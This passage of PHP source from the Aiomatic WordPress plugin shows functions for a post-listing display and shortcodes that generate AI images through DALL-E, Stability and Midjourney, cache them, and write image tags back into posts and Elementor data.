$source_url = get_post_meta($post->ID, 'aiomatic_post_url', true); if(!empty($source_url)) { $image = '<a class="aiomatic_display_image" href="' . esc_url_raw($source_url) . '">' . get_the_post_thumbnail( get_the_ID(), $image_size ) . '</a> <br/>'; } else { $image = '<a class="aiomatic_display_image" href="' . get_permalink() . '">' . get_the_post_thumbnail( get_the_ID(), $image_size ) . '</a> <br/>'; } } else { $image = '<a class="aiomatic_display_image" href="' . get_permalink() . '">' . get_the_post_thumbnail( get_the_ID(), $image_size ) . '</a> <br/>'; } } elseif( $image_size && has_post_thumbnail() ) { $image = '<span class="aiomatic_display_image">' . get_the_post_thumbnail( get_the_ID(), $image_size ) . '</span> <br/>'; } if ( $include_date ) $date = ' <span class="date">' . get_the_date( $date_format ) . '</span>'; if( $include_author ) $author = apply_filters( 'display_posts_shortcode_author', ' <span class="aiomatic_display_author">by ' . get_the_author() . '</span>', $original_atts ); if ( $include_excerpt ) { if( $excerpt_length || $excerpt_more || $excerpt_more_link ) { $length = $excerpt_length ? $excerpt_length : apply_filters( 'excerpt_length', 55 ); $more = $excerpt_more ? $excerpt_more : apply_filters( 'excerpt_more', '' ); $more = $excerpt_more_link ? ' <a href="' . get_permalink() . '">' . esc_html($more) . '</a>' : ' ' . esc_html($more); if( has_excerpt() && apply_filters( 'display_posts_shortcode_full_manual_excerpt', false ) ) { $excerpt = $post->post_excerpt . $more; } elseif( has_excerpt() ) { $excerpt = wp_trim_words( strip_shortcodes( $post->post_excerpt ), $length, $more ); } else { $excerpt = wp_trim_words( strip_shortcodes( $post->post_content ), $length, $more ); } } else { $excerpt = get_the_excerpt(); } $excerpt = ' <br/><br/> <span class="aiomatic_display_excerpt" class="cr_display_excerpt_adv">' . $excerpt . '</span>'; if($read_more_text != '') { if($link_to_source == 'yes') { $source_url = get_post_meta($post->ID, 'aiomatic_post_url', true); if(!empty($source_url)) { $excerpt .= '<br/><a href="' . esc_url_raw($source_url) . '"><span class="aiomatic_display_excerpt" class="cr_display_excerpt_adv">' . esc_html($read_more_text) . '</span></a>'; } else { $excerpt .= '<br/><a href="' . get_permalink() . '"><span class="aiomatic_display_excerpt" class="cr_display_excerpt_adv">' . esc_html($read_more_text) . '</span></a>'; } } else { $excerpt .= '<br/><a href="' . get_permalink() . '"><span class="aiomatic_display_excerpt" class="cr_display_excerpt_adv">' . esc_html($read_more_text) . '</span></a>'; } } } if( $include_content ) { add_filter( 'shortcode_atts_display-posts', 'aiomatic_display_posts_off', 10, 3 ); $content = '<div class="' . implode( ' ', $content_class ) . '">' . apply_filters( 'the_content', get_the_content() ) . '</div>'; remove_filter( 'shortcode_atts_display-posts', 'aiomatic_display_posts_off', 10, 3 ); } $category_display_text = ''; if( $category_display && is_object_in_taxonomy( get_post_type(), $category_display ) ) { $terms = get_the_terms( get_the_ID(), $category_display ); $term_output = array(); foreach( $terms as $term ) $term_output[] = '<a href="' . get_term_link( $term, $category_display ) . '">' . esc_html($term->name) . '</a>'; $category_display_text = ' <span class="category-display"><span class="category-display-label">' . esc_html($category_label) . '</span> ' . trim(implode( ', ', $term_output ), ', ') . '</span>'; $category_display_text = apply_filters( 'display_posts_shortcode_category_display', $category_display_text ); } $class = array( 'listing-item' ); $class = array_map( 'sanitize_html_class', apply_filters( 'display_posts_shortcode_post_class', $class, $post, $listing, $original_atts ) ); $output = '<br/><' . esc_html($inner_wrapper) . ' class="' . implode( ' ', $class ) . '">' . $image . $title . $date . $author . $category_display_text . $excerpt . $content . '</' . esc_html($inner_wrapper) . '><br/><br/><hr class="cr_hr_dot"/>'; $inner .= apply_filters( 'display_posts_shortcode_output', $output, $original_atts, $image, $title, $date, $excerpt, $inner_wrapper, $content, $class ); endwhile; wp_reset_postdata(); wp_suspend_cache_addition(false); $open = apply_filters( 'display_posts_shortcode_wrapper_open', '<' . $wrapper . $wrapper_class . $wrapper_id . '>', $original_atts ); $close = apply_filters( 'display_posts_shortcode_wrapper_close', '</' . esc_html($wrapper) . '>', $original_atts ); $return = $open; if( $shortcode_title ) { $title_tag = apply_filters( 'display_posts_shortcode_title_tag', 'h2', $original_atts ); $return .= '<' . esc_html($title_tag) . ' class="display-posts-title">' . esc_html($shortcode_title) . '</' . esc_html($title_tag) . '>' . "\n"; } $return .= $inner . $close; $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden}.cr_hr_dot{border-top: dotted 1px;}.cr_display_span{font-size:' . esc_html($title_font_size) . ';color:' . esc_html($title_color) . ' ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}.cr_display_excerpt_adv{font-size:' . esc_html($excerpt_font_size) . ';color:' . esc_html($excerpt_color) . ' ' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; $name = md5(get_bloginfo()); wp_register_style( $name . '-display-style', false ); wp_enqueue_style( $name . '-display-style' ); wp_add_inline_style( $name . '-display-style', $reg_css_code ); return $return; } add_shortcode( 'aiomatic-list-posts', 'aiomatic_list_posts' ); function aiomatic_list_posts( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } ob_start(); extract( shortcode_atts( array ( 'type' => 'any', 'order' => 'ASC', 'orderby' => 'title', 'posts' => 50, 'posts_per_page' => 50, 'category' => '', 'ruleid' => '' ), $atts ) ); $options = array( 'post_type' => $type, 'order' => $order, 'orderby' => $orderby, 'posts_per_page' => $posts, 'category_name' => $category, 'meta_key' => 'aiomatic_parent_rule', 'meta_value' => $ruleid ); $query = new WP_Query( $options ); if ( $query->have_posts() ) { ?> <ul class="clothes-listing"> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <li id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <a href="<?php echo esc_url_raw(get_permalink()); ?>"><?php echo esc_html(get_the_title());?></a> </li> <?php endwhile; wp_reset_postdata(); ?> </ul> <?php $myvariable = ob_get_clean(); return $myvariable; } return ''; } add_shortcode("aiomatic-image", "aiomatic_image"); function aiomatic_image($atts, $cont, $tagx) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $is_elementor = false; $seed_expre = isset( $atts['seed_expre'] )? esc_attr($atts['seed_expre']) : ''; $image_model = isset( $atts['image_model'] )? esc_attr($atts['image_model']) : 'dalle2'; $static_content = isset( $atts['static_content'] )? esc_attr($atts['static_content']) : ''; $copy_locally = isset( $atts['copy_locally'] )? esc_attr($atts['copy_locally']) : ''; $image_size = isset( $atts['image_size'] )? esc_attr($atts['image_size']) : ''; $cache_seconds = isset( $atts['cache_seconds'] )? intval(esc_attr($atts['cache_seconds'])) : 2592000; $post = $GLOBALS['post']; if(empty($seed_expre)) { $exc = get_the_excerpt(); $exc = trim(strip_tags($exc)); $cnt = get_the_content(); $cnt = trim(strip_tags($cnt)); $cnt = strip_shortcodes($cnt); if($cnt != false && !empty($cnt)) { $seed_expre = aiomatic_substr($cnt, 0, 200); } elseif(!empty($exc) && $exc != false) { $seed_expre = $exc; } else { $seed_expre = get_the_title(); $seed_expre = trim(strip_tags($seed_expre)); if($seed_expre == '') { return ''; } } } else { if(isset($post->ID)) { if(aiomatic_check_is_elementor($post->ID)) { $is_elementor = true; } $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } else { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; } $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($seed_expre, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($seed_expre, '.txt')) { $txt_content = aiomatic_get_web_page($seed_expre); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $seed_expre = $txt_content; $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } } $md5v = md5($seed_expre . $image_size); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { if(isset($post->ID) && $static_content == 'on') { $tranzi = false; } else { $tranzi = get_transient('aiomatic_image_transient' . $md5v); } if($tranzi === false) { if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to add an API key in plugin settings for this shortcode to work.'); set_transient('aiomatic_image_transient' . $md5v, 'not_working', intval($cache_seconds/10)); return ''; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } $tranzi = ''; if(strlen($seed_expre) > 400) { $seed_expre = aiomatic_substr($seed_expre, 0, 400); } $aierror = ''; $temp_get_imgs = aiomatic_generate_ai_image($token, 1, $seed_expre, $image_size, 'shortcodeImage', false, 0, $aierror, $image_model); if($temp_get_imgs !== false) { foreach($temp_get_imgs as $tmpimg) { $tranzi = $tmpimg; } if(!empty($tranzi)) { if($copy_locally == 'on') { $localpath = aiomatic_copy_image_locally($tranzi, $copy_locally); if($localpath !== false) { $tranzi = $localpath[0]; } } if(!isset($post->ID) || $static_content != 'on') { set_transient('aiomatic_image_transient' . $md5v, $tranzi, $cache_seconds); } else { $shortcode_reconstruction = '#\[\s*' . preg_quote($tagx) . '\s*'; foreach($atts as $atx => $vatx) { $shortcode_reconstruction .= ' ' . preg_quote($atx) . '\s*=\s*[\'"]?' . preg_quote($vatx) . '[\'"]?'; } $shortcode_reconstruction .= '\s*\]#i'; preg_match_all($shortcode_reconstruction, $post->post_content, $initmatches); if(isset($initmatches[0][0]) && $initmatches[0][0] != '') { $post->post_content = preg_replace($shortcode_reconstruction, '<img src="' . $tranzi . '">', $post->post_content); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { preg_match_all('#\[aiomatic-image([^\]]*?)\]#i', $post->post_content, $zamatches); if(isset($zamatches[0][0]) && $zamatches[0][0] != '') { $post->post_content = preg_replace('#\[aiomatic-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $post->post_content); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { set_transient('aiomatic_image_transient' . $md5v, $tranzi, $cache_seconds); } } if($is_elementor) { $elementor_data = get_post_meta($post->ID, '_elementor_data', true); if(!empty($elementor_data)) { $elementor_json = json_decode($elementor_data); if(!empty($elementor_json)) { $changemade = false; for($i = 0; $i < count($elementor_json); $i++) { if($elementor_json[$i]->elType == 'section' || $elementor_json[$i]->elType == 'column') { for($j = 0; $j < count($elementor_json[$i]->elements); $j++) { if($elementor_json[$i]->elements[$j]->elType == 'section' || $elementor_json[$i]->elements[$j]->elType == 'column') { for($k = 0; $k < count($elementor_json[$i]->elements[$j]->elements); $k++) { if($elementor_json[$i]->elements[$j]->elements[$k]->elType == 'widget' && $elementor_json[$i]->elements[$j]->elements[$k]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode; $sc = preg_replace('#\[aiomatic-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); if($sc != $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode); $elementor_json[$i]->elements[$j]->elements[$k]->settings->html = $sc; $elementor_json[$i]->elements[$j]->elements[$k]->widgetType = 'html'; $changemade = true; } } } } } else { if($elementor_json[$i]->elements[$j]->elType == 'widget' && $elementor_json[$i]->elements[$j]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->settings->shortcode; $sc = preg_replace('#\[aiomatic-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); if($sc != $elementor_json[$i]->elements[$j]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->settings->shortcode); $elementor_json[$i]->elements[$j]->settings->html = $sc; $elementor_json[$i]->elements[$j]->widgetType = 'html'; $changemade = true; } } } } } } else { if($elementor_json[$i]->elType == 'widget' && $elementor_json[$i]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->settings->shortcode)) { $sc = $elementor_json[$i]->settings->shortcode; $sc = preg_replace('#\[aiomatic-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); if($sc != $elementor_json[$i]->settings->shortcode) { unset($elementor_json[$i]->settings->shortcode); $elementor_json[$i]->settings->html = $sc; $elementor_json[$i]->widgetType = 'html'; $changemade = true; } } } } } if($changemade == true) { $elementor_data_new = wp_json_encode($elementor_json); $elementor_data_new = trim($elementor_data_new, '"'); if(!empty($elementor_data_new)) { update_post_meta($post->ID, '_elementor_data', $elementor_data_new); } } } } } } } } else { aiomatic_log_to_file('Failed to create an image: ' . $aierror); set_transient('aiomatic_image_transient' . $md5v, 'not_working', intval($cache_seconds/10)); } } } if(!empty($tranzi)) { return '<img src="' . $tranzi . '">'; } return ''; } add_shortcode("aiomatic-stable-image", "aiomatic_stable_image"); function aiomatic_stable_image($atts, $cont, $tagx) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $is_elementor = false; $seed_expre = isset( $atts['seed_expre'] )? esc_attr($atts['seed_expre']) : ''; $static_content = isset( $atts['static_content'] )? esc_attr($atts['static_content']) : ''; $copy_locally = isset( $atts['copy_locally'] )? esc_attr($atts['copy_locally']) : ''; $image_size = isset( $atts['image_size'] )? esc_attr($atts['image_size']) : ''; $cache_seconds = isset( $atts['cache_seconds'] )? intval(esc_attr($atts['cache_seconds'])) : 2592000; $post = $GLOBALS['post']; if(empty($seed_expre)) { $exc = get_the_excerpt(); $exc = trim(strip_tags($exc)); $cnt = get_the_content(); $cnt = trim(strip_tags($cnt)); $cnt = strip_shortcodes($cnt); if($cnt != false && !empty($cnt)) { $seed_expre = aiomatic_substr($cnt, 0, 200); } elseif(!empty($exc) && $exc != false) { $seed_expre = $exc; } else { $seed_expre = get_the_title(); $seed_expre = trim(strip_tags($seed_expre)); if($seed_expre == '') { return ''; } } } else { if(isset($post->ID)) { if(aiomatic_check_is_elementor($post->ID)) { $is_elementor = true; } $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } else { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; } $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($seed_expre, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($seed_expre, '.txt')) { $txt_content = aiomatic_get_web_page($seed_expre); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $seed_expre = $txt_content; $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } } $md5v = md5($seed_expre . $image_size); $local_now = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { if(isset($post->ID) && $static_content == 'on') { $tranzi = false; } else { $tranzi = get_transient('aiomatic_stability_image_transient' . $md5v); } if($tranzi === false) { if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { aiomatic_log_to_file('You need to add an API key in plugin settings for this shortcode to work.'); set_transient('aiomatic_stability_image_transient' . $md5v, 'not_working', intval($cache_seconds/10)); return ''; } $tranzi = ''; if(strlen($seed_expre) > 2000) { $seed_expre = aiomatic_substr($seed_expre, 0, 2000); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $aierror = ''; $get_img = aiomatic_generate_stability_image($seed_expre, $height, $width, 'shortcodeStableImage', 0, true, $aierror, false, false); if($get_img !== false) { $tranzi = $get_img; if(!empty($tranzi)) { if($copy_locally == 'on' || $copy_locally == 'wasabi' || $copy_locally == 'amazon' || $copy_locally == 'digital') { $localpath = aiomatic_copy_image_locally('data:image/png;base64,' . $tranzi, $copy_locally); if($localpath !== false) { $tranzi = $localpath[0]; $local_now = true; } } if(!isset($post->ID) || $static_content != 'on') { set_transient('aiomatic_stability_image_transient' . $md5v, $tranzi, $cache_seconds); } else { $shortcode_reconstruction = '#\[\s*' . preg_quote($tagx) . '\s*'; foreach($atts as $atx => $vatx) { $shortcode_reconstruction .= ' ' . preg_quote($atx) . '\s*=\s*[\'"]?' . preg_quote($vatx) . '[\'"]?'; } $shortcode_reconstruction .= '\s*\]#i'; preg_match_all($shortcode_reconstruction, $post->post_content, $initmatches); if(isset($initmatches[0][0]) && $initmatches[0][0] != '') { if($local_now == true) { $post->post_content = preg_replace($shortcode_reconstruction, '<img src="' . $tranzi . '">', $post->post_content); } else { $post->post_content = preg_replace($shortcode_reconstruction, '<img src="data:image/png;base64,' . $tranzi . '">', $post->post_content); } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { preg_match_all('#\[aiomatic-stable-image([^\]]*?)\]#i', $post->post_content, $zamatches); if(isset($zamatches[0][0]) && $zamatches[0][0] != '') { if($local_now == true) { $post->post_content = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $post->post_content); } else { $post->post_content = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="data:image/png;base64,' . $tranzi . '">', $post->post_content); } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { set_transient('aiomatic_stability_image_transient' . $md5v, $tranzi, $cache_seconds); } } if($is_elementor) { $elementor_data = get_post_meta($post->ID, '_elementor_data', true); if(!empty($elementor_data)) { $elementor_json = json_decode($elementor_data); if(!empty($elementor_json)) { $changemade = false; for($i = 0; $i < count($elementor_json); $i++) { if($elementor_json[$i]->elType == 'section' || $elementor_json[$i]->elType == 'column') { for($j = 0; $j < count($elementor_json[$i]->elements); $j++) { if($elementor_json[$i]->elements[$j]->elType == 'section' || $elementor_json[$i]->elements[$j]->elType == 'column') { for($k = 0; $k < count($elementor_json[$i]->elements[$j]->elements); $k++) { if($elementor_json[$i]->elements[$j]->elements[$k]->elType == 'widget' && $elementor_json[$i]->elements[$j]->elements[$k]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="data:image/png;base64,' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode); $elementor_json[$i]->elements[$j]->elements[$k]->settings->html = $sc; $elementor_json[$i]->elements[$j]->elements[$k]->widgetType = 'html'; $changemade = true; } } } } } else { if($elementor_json[$i]->elements[$j]->elType == 'widget' && $elementor_json[$i]->elements[$j]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="data:image/png;base64,' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->elements[$j]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->settings->shortcode); $elementor_json[$i]->elements[$j]->settings->html = $sc; $elementor_json[$i]->elements[$j]->widgetType = 'html'; $changemade = true; } } } } } } else { if($elementor_json[$i]->elType == 'widget' && $elementor_json[$i]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->settings->shortcode)) { $sc = $elementor_json[$i]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-stable-image([^\]]*?)\]#i', '<img src="data:image/png;base64,' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->settings->shortcode) { unset($elementor_json[$i]->settings->shortcode); $elementor_json[$i]->settings->html = $sc; $elementor_json[$i]->widgetType = 'html'; $changemade = true; } } } } } if($changemade == true) { $elementor_data_new = wp_json_encode($elementor_json); $elementor_data_new = trim($elementor_data_new, '"'); if(!empty($elementor_data_new)) { update_post_meta($post->ID, '_elementor_data', $elementor_data_new); } } } } } } } } else { aiomatic_log_to_file('Failed to generate Stability.AI image: ' . $aierror); $get_img = ''; } } } if(!empty($tranzi)) { if($local_now == true) { return '<img src="' . $tranzi . '">'; } else { return '<img src="data:image/png;base64,' . $tranzi . '">'; } } return ''; } add_shortcode("aiomatic-midjourney-image", "aiomatic_midjourney_image"); function aiomatic_midjourney_image($atts, $cont, $tagx) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $is_elementor = false; $seed_expre = isset( $atts['seed_expre'] )? esc_attr($atts['seed_expre']) : ''; $static_content = isset( $atts['static_content'] )? esc_attr($atts['static_content']) : ''; $copy_locally = isset( $atts['copy_locally'] )? esc_attr($atts['copy_locally']) : ''; $image_size = isset( $atts['image_size'] )? esc_attr($atts['image_size']) : ''; $cache_seconds = isset( $atts['cache_seconds'] )? intval(esc_attr($atts['cache_seconds'])) : 2592000; $post = $GLOBALS['post']; if(empty($seed_expre)) { $exc = get_the_excerpt(); $exc = trim(strip_tags($exc)); $cnt = get_the_content(); $cnt = trim(strip_tags($cnt)); $cnt = strip_shortcodes($cnt); if($cnt != false && !empty($cnt)) { $seed_expre = aiomatic_substr($cnt, 0, 200); } elseif(!empty($exc) && $exc != false) { $seed_expre = $exc; } else { $seed_expre = get_the_title(); $seed_expre = trim(strip_tags($seed_expre)); if($seed_expre == '') { return ''; } } } else { if(isset($post->ID)) { if(aiomatic_check_is_elementor($post->ID)) { $is_elementor = true; } $post_link = get_permalink($post->ID); $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if 